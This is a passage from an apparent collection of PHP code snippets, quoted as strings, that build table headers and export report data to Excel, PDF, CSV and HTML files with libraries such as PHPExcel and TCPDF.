header\n\t$pdf->SetFont('helvetica','B',9);\n\n\t//koleksi tinggi column header\n\t$header_cols_height = array();\n\n\t//tinggi untuk column 'No'\n\t$header_cols_height[] = $pdf->getNumLines('No',$width_col_no);\n\n\t//dapatkan tinggi untuk setiap column\n\tforeach ($sync_name_index as $key => $value)\n\t{\n\t\t$width_converted = GetAndConvertColumnWidth($value, $sync_name_index, $collectionWidth, $totalWidth, $pdf);\n\t\t$header_cols_height[] = $pdf->getNumLines($value,$width_converted);\n\t}\n\n\t//cari siapa paling tinggi\n\t$max_height = max($header_cols_height);\n\n\t//display\n\t$pdf->SetFillColor(211,211,211);\n\n\t$pdf->MultiCell($w=$width_col_no, $h=5*$max_height+3, $txt='No', $border=1, $align='L', $fill=1, $ln=0, $x='', $y='', $reseth=true, $stretch=0, $ishtml=true, $autopadding=true, $maxh=$h, $v='M');\n\tforeach ($sync_name_index as $key => $value)\n\t{\n\t\t$width_converted = GetAndConvertColumnWidth($value, $sync_name_index, $collectionWidth, $totalWidth, $pdf);\n\t\t$pdf->MultiCell($w=$width_converted, $h=5*$max_height+3, $txt=$value, $border=1, $align='C', $fill=1, $ln=0, $x='', $y='', $reseth=true, $stretch=0, $ishtml=true, $autopadding=true, $maxh=$h, $v='M');\n\t}\n\n\t//reset font\n\t$pdf->SetFont('helvetica','',9);\n\t$pdf->Ln();\n}", "function export_nik_unins_lunas()\n\t{\n\t\t$excel_id=$this->uri->segment(3);\n\t\t$datas = $this->model_transaction->get_lunas_gagal($excel_id);\n\t\t\n\t\t// Create new PHPExcel object\n\t\t$objPHPExcel = $this->phpexcel;\n\t\t// Set document properties\n\t\t$objPHPExcel->getProperties()->setCreator(\"MICROFINANCE\")\n\t\t\t\t\t\t\t\t\t ->setLastModifiedBy(\"MICROFINANCE\")\n\t\t\t\t\t\t\t\t\t ->setTitle(\"Office 2007 XLSX Test Document\")\n\t\t\t\t\t\t\t\t\t ->setSubject(\"Office 2007 XLSX Test Document\")\n\t\t\t\t\t\t\t\t\t ->setDescription(\"REPORT, generated using PHP classes.\")\n\t\t\t\t\t\t\t\t\t ->setKeywords(\"REPORT\")\n\t\t\t\t\t\t\t\t\t ->setCategory(\"Test result file\");\n\t\t\t\t\t\t\t\t\t \n\t\t$objPHPExcel->setActiveSheetIndex(0); \n\t\t\n\t\t/*\n\t\t| BORDER OPTION\n\t\t*/\n\t\t$styleArray['borders']['outline']['style']=PHPExcel_Style_Border::BORDER_THIN;\n\t\t$styleArray['borders']['outline']['color']['rgb']='000000';\n\t\t/*\n\t\t| SET COLUMN WIDTH\n\t\t*/\n\t\t$objPHPExcel->getActiveSheet()->getColumnDimension('A')->setWidth(15);\n\t\t$objPHPExcel->getActiveSheet()->getColumnDimension('B')->setWidth(30);\n\n\t\t/*\n\t\t| ROW HEADER TITLE\n\t\t*/\n\t\t$row=1;\n\t\t$objPHPExcel->getActiveSheet()->setCellValue('A'.$row,\"List Pelunasan Tidak Sesuai\");\n\t\t$objPHPExcel->getActiveSheet()->getStyle('A'.$row)->getFont()->setBold(true);\n\t\t\n\t\t$row+=1;\n\t\t$objPHPExcel->getActiveSheet()->setCellValue('A'.$row,\"NIK\");\n\t\t$objPHPExcel->getActiveSheet()->setCellValue('B'.$row,\"Nama\");\n\t\t$objPHPExcel->getActiveSheet()->getStyle('A'.$row.':B'.$row)->getFont()->setBold(true);\n\t\t$objPHPExcel->getActiveSheet()->getStyle('A'.$row.':A'.$row)->applyFromArray($styleArray);\n\t\t$objPHPExcel->getActiveSheet()->getStyle('B'.$row.':B'.$row)->applyFromArray($styleArray);\n\t\t$objPHPExcel->getActiveSheet()->getStyle('A'.$row.':B'.$row)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n\t\t$row+=1;\n\t\t/*\n\t\t| ROW DATA\n\t\t*/\n\t\tfor($i=0;$i<count($datas);$i++){\n\t\t\t$objPHPExcel->getActiveSheet()->setCellValue('A'.$row,$datas[$i]['nik']);\n\t\t\t$objPHPExcel->getActiveSheet()->setCellValue('B'.$row,$datas[$i]['nama']);\n\t\t\t$objPHPExcel->getActiveSheet()->getStyle('A'.$row.':B'.$row)->getFont()->setSize(11);\n\t\t\t$row++;\n\t\t}\n\n\t\theader('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\n\t\theader('Content-Disposition: attachment;filename=\"PELUNASAN TIDAK SESUAI.xlsx\"');\n\t\theader('Cache-Control: max-age=0');\n\n\t\t$objWriter = PHPExcel_IOFactory::createWriter($objPHPExcel, 'Excel2007');\n\t\t$objWriter->save('php://output');\n\t}", "public static function convert_rs_xls($rs, &$workbook, &$worksheet) {\n //Set Formats\n $format_bold =& $workbook->addFormat();\n $format_bold->setBold();\n\n //Freeze Panes\n $worksheet->freezePanes(array(1,0)); //Freeze header\n #$worksheet->freezePanes(array(1, 1)); //Freeze header and first column\n\n $header_complete = false;\n while (!$rs->EOF) {\n if (!isset($keys)) $keys = array_keys($rs->fields); //column names\n $row = array();\n $col_num = 0;\n for ($i = 1; $i < $rs->_numOfFields * 2; $i += 2) {\n // +=2 because ADODB fields contains a named ass array and int ass array, so double values one by name, one by number, I just want by name\n $col = $keys[$i];\n $data = $rs->fields[$col];\n \n //Add Header data\n if (!$header_complete) {\n $worksheet->write(0, $col_num, $col, $format_bold);\n }\n \n //Write Data\n $worksheet->write($rs->_currentRow+1, $col_num, $data);\n $col_num ++;\n } //next col\n \n if (!$header_complete) $header_complete = true; //So only true for first row loop\n \n $rs->MoveNext();\n } //next row\n \n }", "private function render_data()\n\t{\n\t\t// create if the headers exists\n\t\t// 2 header style table\n\t\tif(count($this->headers) == 2 && isset($this->headers[0][0]) && isset($this->headers[1][0]) )\n\t\t{\n\t\t\t// generate the column headers\n\t\t\t$html = '<tr><th></th>';\n\t\t\tforeach($this->headers[0] as $header)\n\t\t\t\t$html .= \"<th>$header</th>\";\n\t\t\t$html .= '</tr>';\n\t\t\t\n\t\t\t// generate the row headers and the data\n\t\t\tfor($i=0; $i<count($this->headers[1]); $i++)\n\t\t\t{\n\t\t\t\t// the header\n\t\t\t\t$html .= \"<tr><th>{$this->headers[1][$i]}</th>\";\n\t\t\t\t\n\t\t\t\t// and now the data\n\t\t\t\tforeach($this->data[$i] as $datum)\n\t\t\t\t\t$html .= \"<td>$datum</td>\";\n\t\t\t\t\n\t\t\t\t$html .= '</tr>';\n\t\t\t}\n\t\t\treturn $html;\n\t\t}//end if\n\t\t\n\t\t// 1 header style table\n\t\tif(count($this->headers) > 0 && isset($this->headers[0]) && !is_array($this->headers[0]) )\n\t\t{\n\t\t\t// generate the column headers\n\t\t\t$html = '<tr>';\n\t\t\tforeach($this->headers as $header)\n\t\t\t\t$html .= \"<th>$header</th>\";\n\t\t\t$html .= '</tr>';\n\t\t\t\n\t\t\t// generate the data\n\t\t\tfor($i=0; $i<count($this->data); $i++)\n\t\t\t{\n\t\t\t\tforeach($this->data[$i] as $datum)\n\t\t\t\t\t$html .= \"<td>$datum</td>\";\n\t\t\t\t\n\t\t\t\t$html .= '</tr>';\n\t\t\t}\n\t\t\t\n\t\t\treturn $html;\n\t\t}//end if\n\t\t\n\t\treturn '';\n\t}", "function excel_export($template = 0) {\n $data = $this->ticket->get_all()->result_object();\n $this->load->helper('report');\n $rows = array();\n $row = array(lang('items_item_number'), lang('items_name'), lang('items_category'), lang('items_supplier_id'), lang('items_cost_price'), lang('items_unit_price'), lang('items_tax_1_name'), lang('items_tax_1_percent'), lang('items_tax_2_name'), lang('items_tax_2_percent'), lang('items_tax_2_cummulative'), lang('items_quantity'), lang('items_reorder_level'), lang('items_location'), lang('items_description'), lang('items_allow_alt_desciption'), lang('items_is_serialized'), lang('items_item_id'));\n\n $rows[] = $row;\n foreach ($data as $r) {\n $taxdata = $this->Item_taxes->get_info($r->ticket_id);\n if (sizeof($taxdata) >= 2) {\n $r->taxn = $taxdata[0]['ticket_id'];\n $r->taxp = $taxdata[0]['code_ticket'];\n $r->taxn1 = $taxdata[1]['destination_name'];\n $r->taxp1 = $taxdata[1]['ticket_type_name'];\n $r->cumulative = $taxdata[1]['cumulative'] ? 'y' : '';\n } else if (sizeof($taxdata) == 1) {\n $r->taxn = $taxdata[0]['name'];\n $r->taxp = $taxdata[0]['percent'];\n $r->taxn1 = '';\n $r->taxp1 = '';\n $r->cumulative = '';\n } else {\n $r->taxn = '';\n $r->taxp = '';\n $r->taxn1 = '';\n $r->taxp1 = '';\n $r->cumulative = '';\n }\n\n $row = array(\n $r->ticket_id,\n $r->code_ticket,\n $r->destination_name,\n $r->destination_name,\n $r->ticket_type_name,\n $r->unit_price,\n $r->taxn,\n $r->taxp,\n $r->taxn1,\n $r->taxp1,\n $r->cumulative,\n $r->quantity,\n $r->reorder_level,\n $r->location,\n $r->description,\n $r->allow_alt_description,\n $r->is_serialized ? 'y' : '',\n $r->item_id\n );\n\n $rows[] = $row;\n }\n\n $content = array_to_csv($rows);\n if ($template) {\n force_download('items_export_mass_update.csv', $content);\n } else {\n force_download('items_export.csv', $content);\n }\n exit;\n }", "public function createReport()\n {\n foreach($this->_data as $data)\n {\n //$data must have id and data elements\n //$data may also have config, header, footer, group\n\n $id=$data['id'];\n $format=isset($data['format'])?$data['format']:array();\n $config=isset($data['config'])?$data['config']:array();\n $group=isset($data['group'])?$data['group']:array();\n\n $configHeader=isset($config['header'])?$config['header']:$config;\n $configData=isset($config['data'])?$config['data']:$config;\n $configFooter=isset($config['footer'])?$config['footer']:$config;\n\n $config=array(\n 'header'=>$configHeader,\n 'data'=>$configData,\n 'footer'=>$configFooter\n );\n\n //set the group\n $this->_group=$group;\n\n $loadCollection=array();\n\n $nextRow=$this->objWorksheet->getHighestRow();\n if($nextRow>1)\n $nextRow++;\n $colIndex=-1;\n\n //form the header for data\n if(isset($data['header']))\n {\n $headerId='HEADER_'.$id;\n foreach($data['header'] as $k=>$v)\n {\n $colIndex++;\n $tag=\"{\".$headerId.\":\".$k.\"}\";\n $this->objWorksheet->setCellValueByColumnAndRow($colIndex,$nextRow,$tag);\n if(isset($config['header'][$k]['width']))\n $this->objWorksheet->getColumnDimensionByColumn($colIndex)->setWidth(pixel2unit($config['header'][$k]['width']));\n if(isset($config['header'][$k]['align']))\n $this->objWorksheet->getStyleByColumnAndRow($colIndex,$nextRow)->getAlignment()->setHorizontal($config['header'][$k]['align']);\n }\n\n if($colIndex>-1)\n {\n $this->objWorksheet->getStyle(PHPExcel_Cell::stringFromColumnIndex(0).$nextRow.':'.PHPExcel_Cell::stringFromColumnIndex($colIndex).$nextRow)->applyFromArray($this->_headerStyleArray);\n }\n\n //add header row to load collection\n $loadCollection[]=array('id'=>$headerId,'data'=>$data['header']);\n\n //move to next row for data\n $nextRow++;\n }\n\n\n //form the data repeating row\n $dataId='DATA_'.$id;\n $colIndex=-1;\n\n //form the template row\n if(count($data['data'])>0)\n {\n //we just need first row of data, to see array keys\n $singleDataRow=$data['data'][0];\n foreach($singleDataRow as $k=>$v)\n {\n $colIndex++;\n $tag=\"{\".$dataId.\":\".$k.\"}\";\n $this->objWorksheet->setCellValueByColumnAndRow($colIndex,$nextRow,$tag);\n if(isset($config['data'][$k]['align']))\n $this->objWorksheet->getStyleByColumnAndRow($colIndex,$nextRow)->getAlignment()->setHorizontal($config['data'][$k]['align']);\n }\n }\n\n //add this row to collection for load but with repeating\n $loadCollection[]=array('id'=>$dataId,'data'=>$data['data'],'repeat'=>true,'format'=>$format);\n $this->enableStripRows();\n\n //form the footer row for data if needed\n if(isset($data['footer']))\n {\n $footerId='FOOTER_'.$id;\n $colIndex=-1;\n $nextRow++;\n\n //formiraj template\n foreach($data['footer'] as $k=>$v)\n {\n $colIndex++;\n $tag=\"{\".$footerId.\":\".$k.\"}\";\n $this->objWorksheet->setCellValueByColumnAndRow($colIndex,$nextRow,$tag);\n if(isset($config['footer'][$k]['align']))\n $this->objWorksheet->getStyleByColumnAndRow($colIndex,$nextRow)->getAlignment()->setHorizontal($config['footer'][$k]['align']);\n }\n if($colIndex>-1)\n {\n $this->objWorksheet->getStyle(PHPExcel_Cell::stringFromColumnIndex(0).$nextRow.':'.PHPExcel_Cell::stringFromColumnIndex($colIndex).$nextRow)->applyFromArray($this->_footerStyleArray);\n }\n\n //add footer row to load collection\n $loadCollection[]=array('id'=>$footerId,'data'=>$data['footer'],'format'=>$format);\n }\n\n $this->load($loadCollection);\n $this->generateReport();\n }\n }", "private function _generateBlankRow(){\n\n $blankRow = array();\n foreach ($this->_fileHeader as $value){\n\n $blankRow[strtolower(str_replace(' ', '-', $value))] = '';\n }\n\n return $blankRow;\n }", "public function export_excel(){\n // Load plugin PHPExcel nya\n include APPPATH.'third_party/PHPExcel/PHPExcel.php';\n \n // Panggil class PHPExcel nya\n $excel = new PHPExcel();\n // Settingan awal fil excel\n $excel->getProperties()->setCreator('SIMITA')\n ->setLastModifiedBy('SIMITA')\n ->setTitle(\"Data Koneksi Internet\")\n ->setSubject(\"Koneksi Internet\")\n ->setDescription(\"Laporan Data Koneksi Internet\")\n ->setKeywords(\"Laporan\");\n // Buat sebuah variabel untuk menampung pengaturan style dari header tabel\n $style_col = array(\n 'font' => array('bold' => true), // Set font nya jadi bold\n 'alignment' => array(\n 'horizontal' => PHPExcel_Style_Alignment::HORIZONTAL_CENTER, // Set text jadi ditengah secara horizontal (center)\n 'vertical' => PHPExcel_Style_Alignment::VERTICAL_CENTER // Set text jadi di tengah secara vertical (middle)\n ),\n 'borders' => array(\n 'top' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border top dengan garis tipis\n 'right' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border right dengan garis tipis\n 'bottom' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border bottom dengan garis tipis\n 'left' => array('style' => PHPExcel_Style_Border::BORDER_THIN) // Set border left dengan garis tipis\n )\n );\n // Buat sebuah variabel untuk menampung pengaturan style dari isi tabel\n $style_row = array(\n 'alignment' => array(\n 'vertical' => PHPExcel_Style_Alignment::VERTICAL_CENTER // Set text jadi di tengah secara vertical (middle)\n ),\n 'borders' => array(\n 'top' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border top dengan garis tipis\n 'right' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border right dengan garis tipis\n 'bottom' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border bottom dengan garis tipis\n 'left' => array('style' => PHPExcel_Style_Border::BORDER_THIN) // Set border left dengan garis tipis\n )\n );\n $excel->setActiveSheetIndex(0)->setCellValue('A1', \"LAPORAN DATA INVENTORY INTERNET CABANG\"); // Set kolom A1 dengan tulisan \"DATA SISWA\"\n $excel->getActiveSheet()->mergeCells('A1:G1'); // Set Merge Cell pada kolom A1 sampai E1\n $excel->getActiveSheet()->getStyle('A1')->getFont()->setBold(TRUE); // Set bold kolom A1\n $excel->getActiveSheet()->getStyle('A1')->getFont()->setSize(15); // Set font size 15 untuk kolom A1\n $excel->getActiveSheet()->getStyle('A1')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER); // Set text center untuk kolom A1\n // Buat header tabel nya pada baris ke 3\n $excel->setActiveSheetIndex(0)->setCellValue('A3', \"NO\"); // Set kolom A3 \n $excel->setActiveSheetIndex(0)->setCellValue('B3', \"CABANG\"); // Set kolom B3 \n $excel->setActiveSheetIndex(0)->setCellValue('C3', \"PROVIDER\"); // Set kolom C3 \n $excel->setActiveSheetIndex(0)->setCellValue('D3', \"NO.PELANGGAN\"); // Set kolom D3 \n $excel->setActiveSheetIndex(0)->setCellValue('E3', \"IP PUBLIC\"); // Set kolom E3 \n $excel->setActiveSheetIndex(0)->setCellValue('F3', \"Tgl. Kontrak\");\n $excel->setActiveSheetIndex(0)->setCellValue('G3', \"Tgl. Habis Kontrak\");\n // Apply style header yang telah kita buat tadi ke masing-masing kolom header\n $excel->getActiveSheet()->getStyle('A3')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('B3')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('C3')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('D3')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('E3')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('F3')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('G3')->applyFromArray($style_col);\n $internet = $this->m_internet->semua()->result();\n $no = 1; // Untuk penomoran tabel, di awal set dengan 1\n $numrow = 4; // Set baris pertama untuk isi tabel adalah baris ke 4\n foreach($internet as $data){ // Lakukan looping pada variabel\n $excel->setActiveSheetIndex(0)->setCellValue('A'.$numrow, $no);\n $excel->setActiveSheetIndex(0)->setCellValue('B'.$numrow, $data->nama_cabang);\n $excel->setActiveSheetIndex(0)->setCellValue('C'.$numrow, $data->nama_provider);\n $excel->setActiveSheetIndex(0)->setCellValue('D'.$numrow, $data->nomor_pelanggan);\n $excel->setActiveSheetIndex(0)->setCellValue('E'.$numrow, $data->ip_public);\n $excel->setActiveSheetIndex(0)->setCellValue('F'.$numrow, $data->tanggal_kontrak);\n $excel->setActiveSheetIndex(0)->setCellValue('G'.$numrow, $data->masa_kontrak);\n \n // Apply style row yang telah kita buat tadi ke masing-masing baris (isi tabel)\n $excel->getActiveSheet()->getStyle('A'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('B'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('C'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('D'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('E'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('F'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('G'.$numrow)->applyFromArray($style_row);\n \n $no++; // Tambah 1 setiap kali looping\n $numrow++; // Tambah 1 setiap kali looping\n }\n // Set width kolom\n $excel->getActiveSheet()->getColumnDimension('A')->setWidth(5); // Set width kolom A\n $excel->getActiveSheet()->getColumnDimension('B')->setWidth(30); // Set width kolom B\n $excel->getActiveSheet()->getColumnDimension('C')->setWidth(25); // Set width kolom C\n $excel->getActiveSheet()->getColumnDimension('D')->setWidth(20); // Set width kolom D\n $excel->getActiveSheet()->getColumnDimension('E')->setWidth(25); // Set width kolom E\n $excel->getActiveSheet()->getColumnDimension('F')->setWidth(25);\n $excel->getActiveSheet()->getColumnDimension('G')->setWidth(25);\n \n // Set height semua kolom menjadi auto (mengikuti height isi dari kolommnya, jadi otomatis)\n $excel->getActiveSheet()->getDefaultRowDimension()->setRowHeight(-1);\n // Set orientasi kertas jadi LANDSCAPE\n $excel->getActiveSheet()->getPageSetup()->setOrientation(PHPExcel_Worksheet_PageSetup::ORIENTATION_LANDSCAPE);\n // Set judul file excel nya\n $excel->getActiveSheet(0)->setTitle(\"Laporan Data Siswa\");\n $excel->setActiveSheetIndex(0);\n // Proses file excel\n header('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\n header('Content-Disposition: attachment; filename=\"Laporan Koneksi Internet.xlsx\"'); // Set nama file excel nya\n header('Cache-Control: max-age=0');\n $write = PHPExcel_IOFactory::createWriter($excel, 'Excel2007');\n $write->save('php://output');\n }", "public function export_excel()\n\t{\n\t$data = array(\n array ('Name', 'Surname'),\n array('Schwarz', 'Oliver'),\n array('Test', 'Peter')\n );\n\t\t\n\t\t//$data = $this->db->get('test')->result_array();\n\t\t$this->load->library('Excel-Generation/excel_xml');\n\t\t$this->excel_xml->addArray($data);\n\t\t$this->excel_xml->generateXML('my-test');\n\t}", "public function getHeading(): string;", "public function get_heading() {\n\t\tif ( $this->object['voucher_count'] == 1 ) {\n\t\t\treturn apply_filters( 'woocommerce_email_heading_' . $this->id, $this->format_string( $this->heading ), $this->object );\n\t\t} else {\n\t\t\treturn apply_filters( 'woocommerce_email_heading_' . $this->id, $this->format_string( $this->heading_multiple ), $this->object );\n\t\t}\n\t}", "public function pi_list_header() {}", "public function action_list_approval_department(){\n\n $param = \\Input::param();\n $export_date = isset($param['export_date'])?date('Y-m-d', strtotime($param['export_date'])):date('Y-m-d');\n\n $objPHPExcel = new \\PHPExcel();\n $objPHPExcel->getProperties()->setCreator('Vision')\n ->setLastModifiedBy('Vision')\n ->setTitle('Office 2007 Document')\n ->setSubject('Office 2007 Document')\n ->setDescription('Document has been generated by PHP')\n ->setKeywords('Office 2007 openxml php')\n ->setCategory('Route File');\n\n $header = ['事業本部コード','事業本部','事業部コード','事業部','部門コード','部門', '適用開始日', '適用終了日','第1 承認者','第2 承認者','第3 承認者','第4 承認者','第5 承認者','第6 承認者','第7 承認者','第8 承認者','第9 承認者'];\n $last_column = null;\n foreach($header as $i=>$v){\n $column = \\PHPExcel_Cell::stringFromColumnIndex($i);\n $objPHPExcel->setActiveSheetIndex(0)->setCellValue($column.'1',$v);\n $objPHPExcel->getActiveSheet()->getStyle($column.'1')\n ->applyFromArray([\n 'font' => [\n 'name' => 'Times New Roman',\n 'bold' => true,\n 'italic' => false,\n 'size' => 10,\n 'color' => ['rgb'=> \\PHPExcel_Style_Color::COLOR_WHITE]\n ],\n 'alignment' => [\n 'horizontal' => \\PHPExcel_Style_Alignment::HORIZONTAL_CENTER,\n 'vertical' => \\PHPExcel_Style_Alignment::VERTICAL_CENTER,\n 'wrap' => false\n ]\n ]);\n switch($i+1){\n case 1:\n case 3:\n case 5:\n $width = 10;\n break;\n case 2:\n $width = 18;\n break;\n case 4:\n case 6:\n $width = 30;\n break;\n default:\n $width = 20;\n break;\n }\n $objPHPExcel->getActiveSheet()->getColumnDimension($column)->setWidth($width);\n $last_column = $column;\n }\n \n /*====================================\n * Get list user has department enable_start_date >= export day <= enable_end_date\n * Or enable_start_date >= export day && enable_end_date IS NULL\n *====================================*/\n $query = \\DB::select('MAD.*',\n \\DB::expr('BUS.code AS business_code'), \\DB::expr('BUS.name AS business_name'), \n \\DB::expr('DIV.code AS division_code'),\\DB::expr('DIV.name AS division_name'),\n \\DB::expr('DEP.name AS department_name'), \\DB::expr('DEP.code AS department_code'), \\DB::expr('DEP.sub_code AS department_sub_code'))\n ->from(['m_approval_department', 'MAD'])\n ->join(['m_department', 'DEP'], 'left')->on('DEP.id', '=', 'MAD.m_department_id')->on('DEP.level', '=', \\DB::expr(3))\n ->join(['m_department', 'DIV'], 'left')->on('DIV.id', '=', 'DEP.parent')->on('DIV.level', '=', \\DB::expr(2))\n ->join(['m_department', 'BUS'], 'left')->on('BUS.id', '=', 'DIV.parent')->on('BUS.level', '=', \\DB::expr(1))\n ->where('MAD.item_status', '=', 'active')\n ->where('DEP.allow_export_routes', '=', 1)\n\n ->and_where('DEP.item_status', '=', 'active')\n ->and_where_open()\n ->and_where(\\DB::expr(\"'{$export_date}'\"), 'BETWEEN', [\\DB::expr('DEP.enable_start_date'), \\DB::expr('DEP.enable_end_date')])\n ->or_where_open()\n ->and_where(\\DB::expr('DEP.enable_start_date'), '<=', $export_date)\n ->and_where(\\DB::expr('DEP.enable_end_date'), 'IS', \\DB::expr('NULL'))\n ->or_where_close()\n ->and_where_close()\n \n ->and_where('MAD.item_status', '=', 'active')\n ->and_where_open()\n ->and_where(\\DB::expr(\"'{$export_date}'\"), 'BETWEEN', [\\DB::expr('MAD.enable_start_date'), \\DB::expr('MAD.enable_end_date')])\n ->or_where_open()\n ->and_where(\\DB::expr('MAD.enable_start_date'), '<=', $export_date)\n ->and_where(\\DB::expr('MAD.enable_end_date'), 'IS', \\DB::expr('NULL'))\n ->or_where_close()\n ->and_where_close()\n\n ->group_by('MAD.m_department_id', 'MAD.enable_start_date')\n ;\n $items = $query->execute()->as_array();\n \n \n //set content\n $i = 0;\n foreach($items as $item){\n $row = $i+2;\n // \\Vision_Common::system_format_date(strtotime($user['entry_date'])):null)\n $objPHPExcel->setActiveSheetIndex()->setCellValue('A'.$row,$item['business_code'])\n ->setCellValue('B'.$row,$item['business_name'])\n ->setCellValue('C'.$row,$item['division_code'])\n ->setCellValue('D'.$row,$item['division_name'])\n ->setCellValue('E'.$row,$item['department_code'])\n ->setCellValue('F'.$row,$item['department_name'])\n ->setCellValue('G'.$row,$item['enable_start_date']?\\Vision_Common::system_format_date(strtotime($item['enable_start_date'])):null)\n ->setCellValue('H'.$row,$item['enable_end_date']?\\Vision_Common::system_format_date(strtotime($item['enable_end_date'])):null)\n ;\n\n //Get user of routes\n $query = \\DB::select('MU.fullname')\n ->from(['m_user', 'MU'])\n ->join(['m_approval_department', 'MAD'], 'left')->on('MAD.m_user_id', '=', 'MU.id')\n ->where('MU.item_status', '=', 'active')\n ->and_where('MAD.item_status', '=', 'active')\n ->and_where('MAD.m_department_id', '=', $item['m_department_id'])\n ->and_where('MAD.enable_start_date', '=', $item['enable_start_date'])\n ->order_by('MAD.order', 'ASC')\n ;\n $users = $query->execute()->as_array(); \n if(!empty($users)){\n $col = 8;\n foreach ($users as $user) {\n $objPHPExcel->setActiveSheetIndex()->setCellValue(\\PHPExcel_Cell::stringFromColumnIndex($col).$row,$user['fullname']);\n $col++;\n }\n }\n\n $i++;\n }\n\n\n $format = ['alignment'=>array('horizontal'=> \\PHPExcel_Style_Alignment::HORIZONTAL_CENTER,'wrap'=>true)];\n $objPHPExcel->getActiveSheet()->getStyle('A1:U1')->getFill()->setFillType(\\PHPExcel_Style_Fill::FILL_SOLID);\n $objPHPExcel->getActiveSheet()->getStyle('A1:U1')->getFill()->getStartColor()->setRGB('25a9cb');\n\n header(\"Last-Modified: \". gmdate(\"D, d M Y H:i:s\") .\" GMT\");\n header(\"Cache-Control: max-age=0\");\n header('Content-Type: application/vnd.ms-excel');\n header('Content-Disposition: attachment;filename=\"決裁経路(組織)-'.$export_date.'.xls\"');\n $objWriter = \\PHPExcel_IOFactory::createWriter($objPHPExcel, 'Excel5');\n $objWriter->save('php://output');\n exit; \n }", "public function start_sheet($columns) {\n echo \"<table border=1 cellspacing=0 cellpadding=3>\";\n echo \\html_writer::start_tag('tr');\n foreach ($columns as $k => $v) {\n echo \\html_writer::tag('th', $v);\n }\n echo \\html_writer::end_tag('tr');\n }", "protected function _translateToExcel()\n\t{\n\t\t// Build the header row\n\t\t$strHeaderRow = \"\";\n\t\tforeach ($this->_arrSelectedColumns as $column)\n\t\t{\n\t\t\t$strHeaderRow .= \"\\t\\t\\t\\t\\t<th>\". htmlspecialchars($this->_arrColumns[$column]) .\"</th>\\n\";\n\t\t}\n\t\t\n\t\t// Build the rows\n\t\t$strRows = \"\";\n\t\tforeach ($this->_arrReportData as $arrDetails)\n\t\t{\n\t\t\t$strRow = \"\";\n\t\t\tforeach ($this->_arrSelectedColumns as $column)\n\t\t\t{\n\t\t\t\t$strRow .= \"\\t\\t\\t\\t\\t<td>\". htmlspecialchars($arrDetails[$column]). \"</td>\\n\";\n\t\t\t}\n\t\t\t\n\t\t\t$strRows .= \"\\t\\t\\t\\t<tr>\\n$strRow\\t\\t\\t\\t</tr>\\n\";\n\t\t}\n\t\t\n\t\t$arrRenderMode\t= Sales_Report::getRenderModeDetails(Sales_Report::RENDER_MODE_EXCEL);\n\t\t$strMimeType\t= $arrRenderMode['MimeType'];\n\n\t\t// Put it all together\n\t\t$strReport = \"<html>\n\t<head>\n\t\t<meta http-equiv=\\\"content-type\\\" content=\\\"$strMimeType\\\">\n\t</head>\n\t<body>\n\t\t<table border=\\\"1\\\">\n\t\t\t<thead>\n\t\t\t\t<tr>\n$strHeaderRow\n\t\t\t\t</tr>\n\t\t\t</thead>\n\t\t\t<tbody>\n$strRows\n\t\t\t</tbody>\n\t\t</table>\n\t</body>\n</html>\";\n\n\t\treturn $strReport;\n\t}", "function Table_Headers($header,$w)\r\n{\r\n //Colors, line width and bold font\r\n $this->SetFillColor(153,153,153);\r\n $this->SetTextColor(0);\r\n $this->SetDrawColor(128,0,0);\r\n $this->SetLineWidth(.3);\r\n $this->SetFont('Arial','B','7');\r\n\t\r\n //Header\r\n\t\r\n\t//Output table header\r\n for($i=0;$i<count($header);$i++)\r\n $this->Cell($w[$i],5,$header[$i],1,0,'C',1);\r\n $this->Ln();\r\n}", "public function headings(): array\n {\n return [\n 'id',\n 'name',\n 'email',\n 'active',\n 'roles', /*,\n 'email_verified_at',\n 'password',\n 'remember_token',*/\n ];\n }", "function getColumnHeaders(){\n\t\t$columnHeaders = array();\n\n\t\t//fixed headers\n\t\t$columnHeaders[0] = 'User';\n\t\t$columnHeaders[1] = 'Action';\n\n\t\t//two headers were added, offsett to make up for it\n\t\t$count = 2;\n\t\tforeach ($this->schedule as $date => $times) {\n\n\t\t\t//convert the full date to a more readable version\n\t\t\t$converter = strtotime($date); \n\t\t\t$formattedDate =date('l', $converter);\n\t\t\t$formattedDate = $formattedDate.'</br>'.date('m-d-y', $converter);\n\n\t\t\tforeach($times as $time){// #2dimensionlswag\n\n\t\t\t\t//convert the international time to AM/PM\n\t\t\t\t$converter = strtotime($time); \n\t\t\t\t$formattedTime = date(\"g:i A\", $converter);\n\n\t\t\t\t$columnHeaders[$count] = $formattedDate.'</br>'.$formattedTime;\n\t\t\t\t$count++;\n\t\t\t}\n\t\t}\n\t\treturn $columnHeaders;\n\t}", "public function test()\n {\n\t\t$data = Session::get('exdata');\n $title = ['id', 'name', 'sex'];\n\n\n $spreadsheet = new Spreadsheet();\n $worksheet = $spreadsheet->getActiveSheet();\n //设置工作表标题名称\n $worksheet->setTitle('测试Excel');\n\n //表头\n //设置单元格内容\n foreach ($title as $key => $value) {\n $worksheet->setCellValueByColumnAndRow($key + 1, 1, $value);\n }\n\t\tLog::write($data, 'exdataT');\n $row = 2; //第二行开始\n foreach ($data as $item) {\n $column = 1;\n foreach ($item as $value) 